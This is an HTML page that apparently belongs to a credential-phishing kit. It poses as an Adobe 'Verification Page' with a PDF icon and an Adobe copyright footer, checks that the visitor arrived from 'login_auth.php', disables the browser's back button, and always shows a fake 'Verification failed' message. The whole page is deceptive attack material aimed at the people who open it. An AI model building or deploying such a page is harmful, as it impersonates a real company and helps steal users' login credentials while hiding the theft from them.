<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Verification Page</title>
    <link rel="icon" href="https://cdn.icon-icons.com/icons2/886/PNG/512/file-expand_Pdf_icon-icons.com_68956.png" type="image/png">
    <script>
        // Disable the back button
        history.pushState(null, null, location.href);
        window.onpopstate = function () {
            history.pushState(null, null, location.href);
        };

        // Check referrer
        document.addEventListener("DOMContentLoaded", function() {
            if (document.referrer.indexOf("login_auth.php") === -1) {
                const modalBody = document.querySelector('.modal-body');
                modalBody.innerHTML = '<p style="color: red; font-weight: bold;">Access denied. Please log in first.</p>';
            }
        });
    </script>
    <style>
        body {
            margin: 0;
            font-family: Arial, sans-serif;
            background: url('images/bg.png') no-repeat center center fixed;
            background-size: cover;
        }

        .logo {
            position: absolute;
            top: 10px;
            left: 10px;
            height: 50px;
        }

        .modal {
            display: flex;
            justify-content: center;
            align-items: center;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 0, 0, 0.7);
        }

        .modal-content {
            background: white;
            padding: 20px;
            border-radius: 8px;
            width: 90%;
            max-width: 400px;
            box-shadow: 0 4px 10px rgba(0, 0, 0, 0.2);
        }

        .modal-header {
            display: flex;
            align-items: center;
            justify-content: space-between;
            border-bottom: 1px solid #ddd;
            padding-bottom: 10px;
            margin-bottom: 20px;
        }

        .modal-header .logo {
            height: 40px;
        }

        .modal-body {
            font-size: 16px;
            color: #333;
        }

        footer {
            position: absolute;
            bottom: 10px;
            width: 100%;
            text-align: center;
            font-size: 14px;
            color: #aaa;
        }
    </style>
</head>
<body>
    <img src="https://th.bing.com/th/id/OIP.xXNJ0d6OGDTD2Touj572FQHaJa?rs=1&pid=ImgDetMain" alt="Logo" class="logo">

    <div class="modal">
        <div class="modal-content">
            <div class="modal-header">
                <img src="https://th.bing.com/th/id/OIP.xXNJ0d6OGDTD2Touj572FQHaJa?rs=1&pid=ImgDetMain" alt="Logo" class="logo">
            </div>
            <div class="modal-body">
                <p style="color: red; font-weight: bold;">Verification failed, Try again later!</p>
            </div>
        </div>
    </div>

    <footer>
        &copy; 2025 Adobe. All rights reserved.
    </footer>
</body>
</html>
